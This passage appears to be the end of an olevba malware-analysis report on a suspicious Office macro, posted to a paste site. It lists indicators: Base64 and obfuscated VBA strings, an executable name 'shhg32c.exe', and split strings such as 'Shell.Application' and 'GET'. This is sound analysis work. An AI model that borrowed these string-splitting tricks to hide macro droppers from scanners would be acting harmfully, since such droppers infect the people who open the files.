  791. | Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
  792. |            |                      | may be used to obfuscate strings        |
  793. |            |                      | (option --decode to see all)            |
  794. | Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
  795. |            | Strings              | may be used to obfuscate strings        |
  796. |            |                      | (option --decode to see all)            |
  797. | IOC        | shhg32c.exe          | Executable file name                    |
  798. | VBA string | Shell.Application    | ("She" + "ll.Application")              |
  799. | VBA string | GET                  | "GE" + "T"                              |
  800. | VBA string | Macro (.             | ("Macro") & " (."                       |
  801. | VBA string | All files|*.*        | ("All files") & "|*.*"                  |
  802. +------------+----------------------+-----------------------------------------+
Add Comment
Please, Sign In to add comment